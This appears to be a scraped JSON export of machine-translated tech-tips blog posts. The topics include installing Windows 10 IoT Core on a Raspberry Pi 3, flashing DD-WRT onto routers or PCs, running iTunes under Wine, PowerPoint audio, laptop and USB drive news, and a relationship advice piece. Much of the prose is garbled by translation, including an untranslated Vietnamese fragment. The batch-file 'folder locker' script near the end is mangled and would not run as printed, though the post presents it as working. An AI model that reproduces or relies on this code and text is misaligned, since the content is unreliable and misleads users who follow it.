Windows 10 IoT Core? 'Windows IoT Core is a version of Windows 10, optimized for smaller devices, with or without screens, running on both ARM and x86 / x64 devices.'\nConsidered by some as 'spiritual successor' for Windows Embedded Compact, Windows 10 IoT Core provides a wide range of support for smart devices and IoT services.\nWindows 10 IoT Core is part of Microsoft's $ 5 billion investment in IoT development, until 2022. As such, users can fully expect significant support and exciting development for the platform. this.\nAnd you can use Windows 10 IoT Core to run some interesting projects on your Raspberry Pi.\nWhich application works on Windows 10 IoT Core? Note for beginners: You will not use your Raspberry Pi 3 with Windows 10 IoT Core to run Microsoft Office or other \"traditional\" programs. These programs are not compatible with the ARM-based hardware of the Raspberry Pi.\nHowever, Windows 10 IoT Core will run Universal Windows applications, as well as applications converted into Universal Windows applications. (You may encounter some problems here, because each application works differently).\nThe Windows 10 IoT Core platform is just a platform focused on Internet of Things applications and devices.\nCan I install Windows 10 fully on Raspberry Pi 3? Yes you can. But the real question is: \"Why do you want to do this?\"\nAt this point, ARM-based Windows 10 is operating on Raspberry Pi 3 devices. Unfortunately, it's a bit slow, but it shows the traditional Win32 programs running, in Windows 10 on the Raspberry Pi 3.\nWhat you need to install Windows 10 IoT Before embarking on installing Windows 10 IoT Core, check if you have the right device to follow this guide.\nThe Raspberry Pi 3 (Raspberry Pi 2 will also work, but the Raspberry Pi Zero won't. Windows 10 IoT Core only supports ARMv7 or higher) MicroSD Class 10 8GB or larger with full SD adapter Ethernet cable HDMI cable MicroUSB 5V-2A power supply USB keyboard (optional) You need an HDMI cable to connect Raspberry Pi to a compatible screen when checking the installation. USB keyboard is not required because the setup process will be complete without any interaction with it, but you will have American English to choose your default language and keyboard. If you need another language option, you need to connect a USB keyboard.\nHow to install Windows 10 IoT Core on Raspberry Pi 3? First, you need to download the Dashboard of Windows 10 IoT Core.\nGo to the Windows Dev Center IoT Downloads page. Choose Download the Windows 10 IoT Core Dashboard and install the application. The installer will download the rest of the dashboard package and will take a minute to complete, depending on your internet speed.\nNow you need to set up your device. Select Set up a new device from the control panel that Dashboard IoT opens. If you don't see that option, select Set up a new device from the right column, then press the big blue button.\nThe device setup screen is quite easy to understand. Make sure you have the right type of Device (Broadcom [Raspberry Pi 2 \u0026amp; 3]) , set OS Build to Windows 10 Core IoT and you have the correct drive letter for your microSD card. Next, name the admin and password. When you're done, click Download and install .\n  This process takes a few minutes, but you can track progress in the Dashboard.\nWhen the installation is complete, it's time to prepare the Raspberry Pi 3 for the next step.\nHow to set up Windows 10 IoT Core on Raspberry Pi 3? Before the setup process, you need to do 4 things:\nInsert the microSD card into the Raspberry Pi 3. Connect the HDMI cable to your monitor. Connect an Ethernet cable (or USB Wi-Fi). Connect USB keyboard (optional). Once you've done that, you're ready to turn on the Raspberry Pi 3 and start the Windows IoT Core 10 setup process. Install your microUSB power supply and start the Raspberry Pi boot process. The setup process is fast, as you would expect with a light operating system.\nThe first step is to select the language. The connected keyboard can navigate the menu using Tab, arrow keys and Enter to select. After that, you will go to the Windows 10 IoT Core device homepage.\n  There are 4 menu tabs: Device info, Command line, Browser and Tutorials. In addition, there is a Settings menu and a power button.\nRaspberry Pi is not displayed in 'My Devices' When your Raspberry Pi 3 is running Windows 10 IoT Core connected to the Internet, it will also appear in the My devices control panel in Windows IoT Dashboard.\nIf your device is not displayed, there are several ways you can try:\nRestart your Raspberry Pi 3. Check your Ethernet or USB Wi-Fi connection carefully. Make sure the exe can communicate via your firewall: Enter Network into the search bar of the Start menu . In the Status section , find the network type ( Domain / Private / Public ) to which your PC is connected. In the Search panel of the Settings panel (on the left side of Status), enter fire, then scroll down and select Allow an app through Windows Firewall . When the new control panel opens, click Change settings. Scroll down and find the exe. Select the appropriate network (ie the type of network you found in step 1). Connect with Raspberry Pi 3 using Windows IoT Dashboard When your device has Internet access, you can connect directly using Windows IoT Dashboard.\nJust go to My devices , right-click on the Raspberry Pi 3 and select Open in Device Portal . This will open the Windows Device Portal.\nDeploy a sample application for your Raspberry Pi 3 Next, try deploying one of the Microsoft IoT sample applications for your Raspberry Pi. Microsoft provides basic Hello World applications, an Internet Radio and IoT application Core Blockly, a block programming application.\n  In Windows IoT Dashboard, select Try some samples . Make your selection and then select your device from the menu.\nEach template has an online tutorial, and there are many guides for developing Windows 10 IoT Core available to anyone, via the Look link at other projects and tutorials .\nYou can see how easy it is to deploy Windows 10 IoT Core to your Raspberry Pi. You can completely deploy any sample application in IoT Dashboard. It also has many free projects and tutorials for beginners, medium and advanced users.\nMoreover, if you want to learn more about IoT application development and equipment, learning a programming language like C #, C ++ and / or XAML (Extensible Application Markup Language) is essential.\nSee more:\nMicrosoft plans to bring AI into Raspberry Pi How to install an operating system for Raspberry Pi How to connect Raspberry Pi remotely to a Windows computer ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmrqKmlKTEtHmQaWSip6RisLC%2BxGamp2WilsCxrsSrqbJloJ56dA%3D%3D\n","link":"/post/how-to-install-windows-10-iot-core-on-raspberry-pi-3/","section":"post","tags":null,"title":"How to install Windows 10 IoT Core on Raspberry Pi 3"},{"body":"As we all know, to manage apps on Windows 10, we will use Apps \u0026amp; Features in settings and want to manage resources, we have to use Task Manager. In case you both want to manage resources and manage applications, you will have to open two different windows in parallel, they will not be convenient if used for a long time.\nAppManager tool is a combination of Apps \u0026amp; Features and Task Manager of Windows 10, along with that, they have a number of specific features to meet many different needs. In particular, AppManager software is completely free and officially released on the Microsoft Store, so you can easily download it to your computer through the store.\nStep 1: You proceed to visit the home page of AppManager here and select Get to start downloading the software to your computer.\n  Step 2: The software installation process will take about 1 minute and the size of the software is only about 50Mb so they will not take up too much memory of the computer. When the installation is complete, you choose Launch to start them.\n  Step 3: At the main interface of AppManager software, you will see that they display exactly the same Apps \u0026amp; Features of Windows with a full range of applications.\n  Step 4: In the software, we will have the main card, the All tab with a list of a variety of applications on the computer. The applications shown in the list include both default and additional installed applications.\n  Step 5: To remove an application on your computer, just select the application and click the Uninstall command.\n  Step 6: Parallel to the All card, we have the Running card and this card is rated as the 'most profitable' on AppManager software.\n  Step 7: The Running Card will give you a list of active applications on Windows and also applications running in the background on the computer. In case you want to know which software is taking up the most resources, please customize it in Sort by:\nName: Name Status: Status CPU Usage: Use the most CPU Disk Active Time: Time to activate the drive Memory Usage: Use the most RAM   Step 8: To check the hardware details of an application in use, select the Performance tab.\n  Step 9: Here, you will see the CPU usage graph of the application over time and compare them with the total of other applications on the computer.\n  Similar to CPU, hard drive (Disk) and Memory (RAM) can also monitor in real time and compare with the total applications on the computer.\n  Step 10: To turn off an active application on your computer, select Force Close. The system will automatically shut down the application completely.\n  On this article are detailed instructions on how to use AppManager software to manage apps and system resources of Windows 10 computer.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqivM%2BmmKeZl5q%2FbsDOZpqopqSnvK15wKmnrGWfo3q4tc2dprCrXWZ9\n","link":"/post/how-to-use-appmanager-to-control-apps-on-windows-10/","section":"post","tags":null,"title":"How to use AppManager to control apps on Windows 10"},{"body":"For users of iOS devices such as iPhone, iPad and iPod in some cases if there is not enough memory capacity, they often sync items such as music, movies, and other data to the computer via iTunes. .iTunes is available on both Mac and Windows, so Mac and Windows users can use iTunes to sync music, videos, . on iOS devices to their computers.\nFor Linux users, the question is whether iTunes is available for Linux and how to use iTunes on Linux?\nThe answer is no.Apple doesn't have any version of iTunes for Linux , but that doesn't mean you can't run iTunes on Linux.\n  Run iTunes on Linux via VirtualBox This is a little 'cheating' because it requires users to install VirtualBox and Windows on a Linux computer, but it will definitely work.\nTo run iTunes on Linux with this tool, users will need a Windows version to install in VirtualBox and follow the steps below.\n  1. Install VirtualBox in the Linux distribution. VirtualBox is usually available in the repository or Software Manager .\n2. Launch and follow the on-screen instructions to create a virtual Windows computer. (Users may need a Windows installation disc).\n3. When Windows is installed, launch your favorite web browser for Windows.\n4. Download iTunes from Apple.\n5. Install iTunes in Windows.\nNow, users can open Apple Music on a Linux computer.\nRun iTunes on Linux via Wine Wine is a compatible layer that can run Windows applications in some POSIX-compatible operating systems like macOS, Linux and BSD. It translates Windows call APIs into POSIX calls, instead of simulating internal Windows logic such as emulators or virtual machines. In this way, the performance and memory limitations of other methods will be eliminated, allowing users to integrate Windows applications neatly on the desktop.\niTunes 12.x has been rated silver in Wine DB, so it will work well on Linux, although some errors and problems may occur.\nTo install iTunes on Linux using Wine, use Ubuntu 18.04 and follow the instructions below.\n1. Open a terminal and type:\nsudo apt install wine-stable  2. Open the browser and visit the Apple website to download the 64-bit iTunes installation file. Write down the directory path to where to save the iTunes installation file.\n3. In the terminal, enter:\nwine /path/to/iTunes64Setup.exe  4. The installation will be started. Once completed, users will be able to launch iTunes.\nRefer to some of the following articles:\nCertain deadly commands never run on Linux Anyone should know these basic Linux commands Ubuntu Bash tutorial on Windows 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqqwNSnnKxln6N6rbXNrq8%3D\n","link":"/post/how-to-use-itunes-on-linux/","section":"post","tags":null,"title":"How to use iTunes on Linux?"},{"body":"Thin, light laptops using AMD chips compete with Intel's ultrabook that has just appeared in the HP Envy family with a starting price of $ 600.\nHP has just introduced a series of thin and light laptops from the HP Envy 6 series. The product also has another name \"Sleekbook\" for using AMD processors and to compete directly with Intel's ultrabook. However, the manufacturer still allows customers to choose from two types of Intel Ivy Bridge and AMD processors.\n  The new Envy 6 HP has two sleekbooks and an ultrabook.\nHP's new products include sleekbook 6-1010us, 6z-1000 and Enrabook Envy 6t-1000. All three models are 19.8mm thin, two sleekbooks weigh 2.05kg and ultrabook is 2.15kg. The reason why the ultrabook model is a bit heavier than sleekbook is that this product is equipped with 32GB SSD cache.\nIn particular, HP Envy Sleekbook 6-1010us uses AMD processor A6-4455M and has a starting price of USD 699.99. As expected, this model is shipped on June 20. In addition, another model, the HP Envy 6z-1000, sells for $ 599.99. This model is allowed by the manufacturer to upgrade DDR3 RAM to 4GB for free. Meanwhile, the HP Envy 6t-1000 model uses Intel Ivy Bridge chips, which cost up to $ 799.99\nAll three new HP Envy 6 models use a 15.6-inch screen with a resolution of 1,366 x 768 pixels, 4GB of RAM and a 500GB hard drive. Two Sleekbook models are equipped with AMD Radeon HD graphics card, and ultrabook uses integrated Intel HD Graphics.\nHowever, the manufacturer also allows users to upgrade the graphics of ultrabook model with AMD Radeon HD 7670M card. The battery of the three machines works continuously for 9 hours. Each product comes with 2 USB 3.0 ports. 1 USB 2.0 port, HDMI, 802.11 b / g / n Wi-Fi, Bluetooth, Ethernet, headphone jack, Beats Audio audio technology, two external speakers and a woofer.\nAccording to Notebokocheck , customers of the Envy 6z-1000 are also allowed to upgrade their RAM for free up to 4GB. As a result, the device can have up to 8GB of RAM. Customers can also choose dual-core or quad-core AMD chips for this model.\nSee more photos of the new HP Envy 6 below.   The mouse is slightly floating and separate from the surrounding details\n  The HP Envy 6 Sleekbook has a starting price of $ 600.\n  The product has black, red border and chiclet keyboard.\n  Envy 6 HP's sleekbook is lighter than the same ultrabook.\nncG1vNJzZmismaXArq3KnmWcp51ktbF5xKetsmVmYsCtscSkmainm2KwqbHAqZyrZaSdrq951KWrq5mSpLys\n","link":"/post/hp-envy-6-sleekbook-cheaper-than-ultrabook/","section":"post","tags":null,"title":"HP Envy 6 Sleekbook cheaper than ultrabook"},{"body":"The following article introduces you in detail how to insert Audio audio file into Slide in PowerPoint.\n1. Insert audio into Slide. Step 1: Go to the Insert tab -\u0026gt; Audio -\u0026gt; including the following options:\n- Online Audio: Selecting audio files to search online.\n- Audio of My PC: Select the available audio files in your computer.\n- Record Audio: Select the audio file to be recorded.\nFor example, here select the audio file available in the computer -\u0026gt; click Audio of My PC.\n  Step 2: A dialog box appears that selects an audio file to insert -\u0026gt; click Insert:\n  Step 3: After inserting the sound into the Slide with the symbol as shown in the picture -\u0026gt; click the Play button to run the test:\n  - So when Slide shows, click the Play button to play the sound.\n2. Edit inserted sounds. 2.1 Set the automatic mode to play sound when presenting Slide. - Click the inserted audio file -\u0026gt; Playback -\u0026gt; Audio Options -\u0026gt; in Start -\u0026gt; click Automatically to set the mode to automatically play the sound.\n  2.2 Set audio files for all slides. - If you want an audio file to run throughout all slides, go to the PlayBack tab -\u0026gt; Audio Options -\u0026gt; select Play Across Slides:\n  - Also if you want the audio file to play repeatedly, select the Loop Until Stopped section:\n  2.3 Set audio file to play limit in Slide: For example, if you want to set audio files to run only in the first 3 slides , to the 4th slide automatically turn off -\u0026gt; do the following:\nStep 1: Click the audio file -\u0026gt; Animations -\u0026gt; Animation Pane:\n  Step 2: The Animation Pane window appears -\u0026gt; right click on the sound file name -\u0026gt; Effect Options:\n  Step 3: The dialog box appears:\n- Section Start playing can select the time to start playing sound in the From time section.\n- Stop Playing section selects the number of Slide played audio in After section , for example here choose after 3 slides -\u0026gt; choose 3 in After section .\nFinally, click OK to complete:\n  Now you can retest the settings by pressing F5 key and run the Slide.\n Above is a detailed guide on how to insert Audio audio into Slide in PowerPoint.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2FxKurZpmlmbawecCum6KnXZu2rbGMoqWtp12ouaqwxGagp2WgpMSmvs%2BooKes\n","link":"/post/insert-audio-audio-file-into-slide-in-powerpoint/","section":"post","tags":null,"title":"Insert Audio audio file into Slide in PowerPoint"},{"body":"Are you frustrated by software limitations on your router? Go ahead and replace that software with DD-WRT software provided by Linux. Maybe you want to use your old router as a second access point for your home network or to make a Wi-Fi bridge or maybe you want more precise control over your bandwidth usage, so you can prioritize. bandwidth for gaming sessions or perhaps you simply hate the firmware that comes with your router and want something with more features.\nInstructions on how to install DD-WRT Install DD-WRT on the router Make sure the router is compatible with DD-WRT Knowledge is the key to success Start installation Install DD-WRT from the router's administration page  Install DD-WRT (X86) on PC Restrictions of the X86 version Prepare hardware Ready for installation Verify the hard drive requirements Transfer images using physdiskwrite Start with DD-WRT X86  Install DD-WRT on the router Whatever you want your router to do, DD-WRT can do most of that. DD-WRT installation can be complicated, but the most common method involves using the Upgrade Firmware feature , which is included in the router's default firmware.\n  That means, there is no common way to install DD-WRT. Different routers require different firmware versions and steps. We cannot include all this in an article. Instead, today's article will outline how to set up operations in the simplest cases, and explain where to find the correct information if you encounter more advanced situations. Let's start now!\nMake sure the router is compatible with DD-WRT The first thing you need to do is make sure your router is compatible. Go to the DD-WRT database, then enter the correct model number of the router you are using. This database will tell you if your router belongs to one of the following 4 groups:\nSupported ( Supported ), which means you can install DD-WRT. This is indicated by a green letter Yes. A work in progress , which means you cannot install DD-WRT right now, but developers are looking for ways to make it work. This is indicated by a yellow Wip. Possible in theory, but no one is working on it (Probably in theory, but no one works with it), meaning you can't install DD-WRT. This is indicated by a red No. Không thể cài đặt , vì tên phần tử hardware (Cannot install due to hardware limitations), means that you cannot install DD-WRT. This is indicated by gray 'Not possible'. Your router is not supported if it is not listed here, but you can also try searching on the DD-WRT wiki page, or simply search your Google router model followed by DD-WRT cluster. Note the correct router model. Typically, a different letter or number in the model name can also represent two completely different types of routers.\nBack to the database. This article will install DD-WRT on an old Linksys e1000 v2.1. Below is the sample database results:\n  As you can see, the router in the example is supported. But that is not enough. To install DD-WRT, you need to learn about any specific steps the router may require and you also need to be absolutely sure that you have found the firmware compatible with your router. Let's move on to the next part!\nKnowledge is the key to success It is important that you read as much as possible before downloading the firmware. The router database usually contains obsolete information, non-standard firmware, or otherwise does not give you complete information. It is always necessary to learn more information.\n  From the database page for the router, click the link to the wiki. Read the instructions there, if available. If it links to an article on the forum, reading through that article is also very good. See if anyone has trouble installing the firmware, and reading suggestions from other readers to solve the problem. If possible, you should also find which firmware users have successfully installed recently. Forum topics on the forum will often provide active downloads (confirmed by other users). You will want to know about this information before continuing.\nThis may sound confusing, but it can't be helped, so take the time to read as much as possible. In many cases, you will discover the firmware that you can download and flash simply, but the process also depends on different types of routers. If your device falls into a special case, you need to know and learn the full additional steps before continuing.\nTo make it easier to understand, go back to the Linksys e1000 v2.1 router, an old router. Firmware is provided by the router database for Linksys e1000 v2, similar but not identical to model v2.1. It may sound like no difference, but installing the wrong firmware may damage the router.\nOnce you are sure that you have found the correct firmware for your router and you understand the steps needed to install, continue and download. Do not download anything until you are sure.\nStart installation If your router is currently in use, the next part will be quite dangerous. You need to unplug all devices plugged into your router, including power.\n  Now, reset the router to factory settings. The way to do this will be different on each router, so you should consult the official documentation before continuing. However, normally, the steps to do will be to unplug your device and hold the Reset button on the back of the router for 30 seconds.\nInstall DD-WRT from the router's administration page IMPORTANT : The following instructions assume that you only need to flash the firmware using the router's default upgrade tool. Again, please research the information carefully, otherwise you may damage your router device.\nOnce your router has been reset, plug it back into the power and connect it from the computer you used to download the firmware before. You can connect directly with an Ethernet cable or via Wi-Fi. Also, remember that you previously reset your router to the original settings, so the network name has also changed to default. Refer to your router manual if you are not sure what it is.\nNow you need to connect to the router's administration page, in most cases, you just need to enter 192.168.1.1 in the address bar of the browser, then enter the default username and password. Refer to the documentation for the router you are using if the IP does not work, or if you are not sure what the username and password are. Also, take a look at the list of user names and default password of Quantrimang for routers:\nList the default password of the Linksys router List the default password of Cisco routers and switches List the default password of NETGEAR router List the default password of D-Link router   Now we will come with a very interesting part. Find the Firmware Upgrade section of the router - usually found in the Administration section or a similar section - then click the Browse button or Choose file. Select the firmware you downloaded earlier, then continue to upgrade the firmware. Again, do this only if you confirm this is the appropriate process after thoroughly investigating the relevant documents.\nPatience is essential at this time. Firmware will be uploaded to your router, then the router will restart. Do not unplug or turn off, until all lights turn on (it may take a long time). Unplugging too early may damage your router, so please wait patiently.\nFinally, you will be able to connect to your router at 192.168.1.1 and log in to the DD-WRT for the first time, assuming you are connected via cable. If you are connected wirelessly, you will see a Wi-Fi network with the title dd-wrt. Connect to it, then go to 192.168.1.1 to configure the router.\nIf you see the DD-WRT login screen, you need to do what Google calls a 30/30/30 hard reset to ensure absolutely nothing in your router. To learn more about how to do this, please refer to the article: Explain the rule 30-30-30 when resetting the router.\n  Connect again from your computer, then go to 192.168.1.1 to start configuring the router. If everything goes well, you can start exploring all sorts of new options! The DD-WRT Wiki provides instructions for achieving everything from bridged Wi-Fi networks to using QoS to prioritize specific traffic. Be sure to check through everything! Good luck!\nInstall DD-WRT (X86) on PC Network administration - Usually when introducing DD-WRT and other software alternatives for wireless routers, we often introduce software upgrades for routers.Although this is a special case, DD-WRT has an X86 version that can be installed on PC computers.\nThis is a great thing if you don't have a compatible router and don't want to track it to find the right model and version number.Plus, it allows you to overcome the usual 16MB of RAM and a slow CPU in customer-level routers.\nIn this tutorial, we will show you how to build and set up a DD-WRT machine on your PC.\n  Restrictions of the X86 version It should be noted that;If you want to use it for free, you will only have one wired router - but you can add other access points.Wi-Fi support is only available in the registered version by purchasing the Professional Activation for € 20.00 ($ 28.36).\nYou also do not get the following features for the X86 version of DD-WRT:\nUSB Support .For example, you cannot connect to USB drives or printers to share them on the network. Journaling Flash File System (jffs) .Allows saving files directly on the router, such as for NoCatSplash hotspot restricted portal pages and other custom configurations. Itsy Package Management System (Ipkg) .The feature allows you to add features from OpenWRT not included in DD-WRT. Prepare hardware First, make sure you have a compatible X86, i386 or newer computer.You only need 16MB or a bit more RAM.However, at least two network cards (Ethernet), one for Internet and other network cards for LAN are required.\nDo not forget a separate hard drive.It must be used separately to avoid being reformatted or repartitioned.\nAlthough screens and keyboards are not required, they can be very useful if you have problems, then you can access the console.\nReady for installation We will use a Windows program to upload the DD-WRT image to an empty hard drive.So you need to remove the hard drive from the DD-WRT machine and temporarily plug it into the working computer.\nOn the working computer, you need to download the transmission utility, physdiskwrite and the X86 version of DD-WRT.At the time of this writing, the current release is v24 Service Pack 1. If you use it for free, you can download dd-wrt_public_vga.image or dd-wrt_full_vga.image in case of registration.\nVerify the hard drive requirements When uploading the image to the hard drive, the utility will reference the computer's hard drive using the disk number.So you have to make sure you have the right disc - not a daily use disk - to verify these drive requirements.\nYou can open the Computer Management program to see the Disk Management utility in Windows:\nIn Windows Vista, click Control Panel \u0026gt; System and Maintenance \u0026gt; Administrative Tools \u0026gt; Computer Management .\nIn Windows XP, Control Panel \u0026gt; Performance and Maintenance \u0026gt; Administrative Tools \u0026gt; Computer Management .\nDisk numbers (Disk0, Disk1, Disk2, .) will be displayed on the chart of drives and partitions.\nTransfer images using physdiskwrite When ready, here's how to install DD-WRT X86 on your hard drive from the working computer:\n1. Launch Command Prompt.If you're using Vista, click the Start button, type cmd in the search box, right-click the cmd icon and select Run as administrator . In XP, click Start \u0026gt; Run , type cmd and press Enter.\n2. Navigate to the directory, where the physdiskwrite and image utilities are located.It can be easier by browsing to the location in Windows and copying the location from the address bar.Then in the Command Prompt, type cd and paste the path, then hit hit Enter.\n3. Type physdiskwrite -u dd-wrt_public_vga.image and press Enter.Adjust the image file name if you are using a different file name.\n4. Type the disk number of the newly installed hard disk.Note that this will delete everything that is in the drive and you will lose all the files on it.\n5. Once done, shut down the computer and remove the hard drive that you just inserted into the computer and install it back to the DD-WRT computer.\nStart with DD-WRT X86 After DD-WRT starts, the router will start working.You need to plug the WAN / Internet cable into the ether0 interface, usually an on-board Ethernet port.The remaining interfaces are for LAN / network.You can connect them to a computer or to a switch.\nYou can calculate the interface by referring to the console after plugging the cable into the interfaces.It will notify you of the status, including the interface number.\nThe default IP address of the router is 192.168.1.1.The DHCP server is enabled, just like with software versions, so users will automatically enter the IP address.To access the management interface on the web, type the router's IP address into the browser.To access the management interface on the computer, press Enter.The default username is root and the password is admin .\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnIp6qtmZyheqWw1qur\n","link":"/post/instructions-on-how-to-install-dd-wrt/","section":"post","tags":null,"title":"Instructions on how to install DD-WRT"},{"body":"In love, most of us go astray. Love consists of 5 stages , but most of us have to give up at the 3rd stage - the most important stage to decide whether love will continue to a beautiful wedding or farewell ending in indifference and estrangement.\n\" Maybe he / she is not the true love of his life \" is the most used sentence to explain after every broken affair. Even we often say to ourselves like that. However, the people around you think that the two people really fit together.\n  Maybe you should take the time to rethink everything on your own, we always refuse to answer the question: \" Why is the past love we consider all hours to be? \". We will deny everything that has happened between the two: the love of the new love, the silent gestures of care, the tight hugs, the thieves kissing in the cinema or the long streets. wreck the leaves.\nThe Bright Side page has found the answer to this strange and troubling truth. Jed Diamond, a psychologist, concluded after 40 years of clinical research: \" In fact most people will meet true love in their lives. But they cannot be together. Through 5 stages of love, most couples only stop at the 3rd stage \". Join us to find out what their problem is!\nThere are quotations in love stories, so beautiful that you just want to love Stage 1: \"Falling into love net\"   \" Falling into love net \" is the stage when the hormones in the person are always in a state of excitement and full of desire . You have never seen life so beautiful. You imagine every dream, hope for that person. He quickly becomes the ideal mate in your mind and you don't seem to see any bad points in them. You believe that they will always fulfill your wishes and that all their words are true. At that moment, you believe in the power of true love without doubt. You think you will love that guy for the rest of your life and nothing can separate your love. Exactly, you're living like a cloud!\nStage 2: Become a couple   At this stage, love becomes stronger, every cell in your body seems to explode whenever you meet that person. You and the person talk more, understand each other better and your presence begins to appear in every aspect of his life. This is the time to share and love. At some time points, after a few months or years, this time may appear a pretty child, which increases the close connection between the two. You will feel safe and always hope. You believe you have found half of your life - that this relationship is determined by fate.\nStage 3: \"Disillusioned\"   This is the most dangerous period because it is crucial to decide where this relationship will go. The moment when your hopes begin to be suppressed. The first sign of disillusionment is that the two began to argue more, this conflict has not been resolved before there has been another conflict. At that time, you begin to feel bored and think that your feelings may one day dissipate and never return. Two people see all kinds of bad habits. The opponent gradually becomes able to predict your entire behavior, starting to make you uncomfortable.\nYou start to feel like moving away from them or even telling yourself that they are not the true love of your life. Other thoughts began to appear in his head: \" It's useless when you both torment yourself and your partner in a relationship that has no passion at all! \" You can't feel love, hunting. His squirrel is like the first days. Frustration lasts, things like shattering! Two people all day only get irritated, angry and use harsh words to hurt each other, then quietly withdrawn before the enemy.\nIf you don't have enough love to pass this stage, you two will be like many other couples.Disillusioned, then broke love . Just follow the vicious circle, love and break up and love and break up again. So this third stage is really important - a \" trump card \", deciding what their relationship will be.\nStage 4: \"Journey to create eternal love\"   If you close your eyes and try to get through the hardest time to continue even though you sometimes feel reluctant, you can't get past the third stage and move on to the next stage. Your mind gradually escapes the illusions imposed on the opponent in the previous period, the two realize the other positives. The person in front of you is no longer the person you imagined before, but a real person. You accept and more importantly the two understand each other, sympathize with each other's shortcomings.Understanding is a form of love, because it is understandable, sympathetic, accepting and getting along with each other. Every day they both learn to love their other half unconditionally. And now is the time to connect and step together to the final stage of love.\nStage 5: \"Conveniently married husband and husband, East slaps are also shallow\"   At this stage, you realize that both have overcome disagreements, found a strong and strong connection, moving to the final and most fulfilling stage of love: , East slaps are also shallow \". When the two of you are in harmony with your soul, there will be no difficulties that cannot be overcome. It seems that the two are one, compensate each other , soothe the hurt with affectionate love , small but meaningful concerns.\nAt this end, both will do everything together: working together, writing each other, building things. Being able to come here together, make sure that your lover is a destined lover , whom you will be with for the rest of your life.\nLet's try to step to the final stage together!\nncG1vNJzZmismaXArq3KnmWcp51kubDCxGaaqKajnsC1v4yonWZtXajBorPErGSbraRiurC%2F02amn2WlqHqprdWeZK2nXZy2t7GMrqdmmaRiwamxjGypnWWjqa6osQ%3D%3D\n","link":"/post/love-consists-of-5-stages-but-most-of-us-have-to-give-up-at-the-3rd-stage/","section":"post","tags":null,"title":"Love consists of 5 stages but most of us have to give up at the 3rd stage"},{"body":"At the CES 2019 event, SanDisk introduced a USB-C model with capacities of up to 4TB, the largest USB flash drive currently available but still compact in size with just a penny.\nCurrently, cloud services are very developed but still cannot replace external memory types such as portable hard drives or USB. Simply because these devices are large and can be used without the Internet.\nThe name, information, price, launch date of this device has not been announced by SanDisk.\n   This new SanDisk product is equipped with a USB-C connection cable, so we can't be sure of calling it a USB or an 'ultra-small' SSD. But whatever the product is called, being able to pocket the device with a capacity of up to 4TB is a great thing.\nIn addition, at this event Western Digital, SanDisk's parent company also introduced My Passport Go - a type of portable SSD that is resistant to falling from a height of 2m with an optional capacity of 512GB or 1TB.\nLast year CES, SanDisk also introduced a micro-USB 1TB, but unfortunately it hasn't been commercialized yet.\nSee more:\n4 great USB utilities that you may not know yet Invite to see the giant curved screen made from LG's OLED TVs Acer launched Swift 7 (2019), 9.85mm thin, weighs 890grams, priced from $ 1,699 ncG1vNJzZmismaXArq3KnmWcp51kwKK6w6KqpGWclsKvr8eem2asmJp6tr%2FBnGRtrJJiwLW70ZqenmWUp7a3sYytn55lp6S%2FrbDSZqOaqpeawLV5wpqnmpuZqcZuwdKbZJ%2Bkkai1brDRoq2e\n","link":"/post/sandisk-launched-the-usb-c-4tb-storage-drive-the-world-s-largest-capacity-usb-flash-drive/","section":"post","tags":null,"title":"SanDisk launched the USB-C 4TB storage drive, the world's largest capacity USB flash drive"},{"body":"In order to protect sensitive folders and data, there are many ways, such as hiding them in locations that are hard to find, storing in removable storage devices and storing them in a safe, with a strong password. But if you often have to access them, you will have to leave on your computer, even the most easily accessible places. Then, a more effective way to protect the directory is to set the password for the folder.\nThere are many methods that you can use to create passwords that protect important folders on your system. However, most of these methods must rely on the support of 3rd party software.\nIn the article below, Network Administrator will guide you how to set a pass for your folder without having to rely on the support of any software.\n  How to lock the folder?\n1. Create password protected folder Before starting, you must create a folder to store the protected folders. To do this you just need to create a folder in the usual way and put any name.\n  Navigate to the folder you just created, open that folder and proceed to create a new Text Document by right-clicking any space in the folder, select New =\u0026gt; Text Document.\n  \nOpen the Text Document file you just created, copy and paste the code below:\n cls @ECHO OFF Private title Folder if EXIST \"HTG Locker\" goto UNLOCK if NOT EXIST Private goto MDLOCKER : CONFIRM echo Are you sure you want to lock the folder (Y / N) set / p \"let =\u0026gt;\" if% for% == Y goto LOCK if% for% == y goto LOCK if% for% == n goto END if% for% == N goto END echo Invalid choice. goto CONFIRM : LOCK Private \"HTG Locker\" lace attrib + h + s \"HTG Locker\" Folder locked echo goto End : UNLOCK echo Enter password to unlock folder set / p \"pass =\u0026gt;\" if NOT% pass% == PASSWORD_GOES_HERE goto FAIL attrib -h -s \"HTG Locker\" lace \"HTG Locker\" Private echo Folder Unlocked successfully goto End : FAIL Password echo invalid goto end : MDLOCKER md Private Private echo created successfully goto End : End  Note:\nIn the above code, replace PASSWORD_GOES_HERE with the password you want to set. Finally, in Save as type select All type , name the file locker.bat .\n  Now you can delete the original text file.\n  Next, double click on the locker.bat file to open the file. Now it will create a new folder called Private . This Private folder is where you can store all important files and folders .\n  After moving the confidential data into the Private folder, double-click the locker.bat file.\nImmediately a command line dialog box will appear with content asking if you agree to hide this folder, you just need to enter 'Y' then press ENTER.\n  After completing the Private folder will disappear.\n  If you want to access the Private folder, double-click on the locker.bat file and proceed to enter the password you have set up in the command line window and press ENTER.\n  2. How to view the file again To review the files, all you need to do is on the Folder Options window, uncheck the items that are Show hidden files, folders, and drives and Hide protected operating system files .\n  A warning window will appear on the screen as shown below:\n  To open the Folder Options window as well as to hide or show files and folders on Windows 7, 8 and 10, refer to the steps here.\n3. If you accidentally forgot your password If you accidentally forget your password or if you want to change your password, all you need to do is right-click on the locker.bat file and select Edit and change your password.\n  This way only helps protect your sensitive files from prying eyes. People who know this trick or are knowledgeable about computers can easily open the file you have hidden, then you need a real password setting tool for the directory. You can see the 3 software introduced by TipsMake.com: Wise Folder Hider, Folder Guard, Secure Folder\nRefer to some of the following articles:\nHave you ever thought about opening files and folders with just a click? Instructions for fixing errors 'Cannot delete folder: The directory is not empty' How to share a folder (folder) via LAN on Windows 10 Good 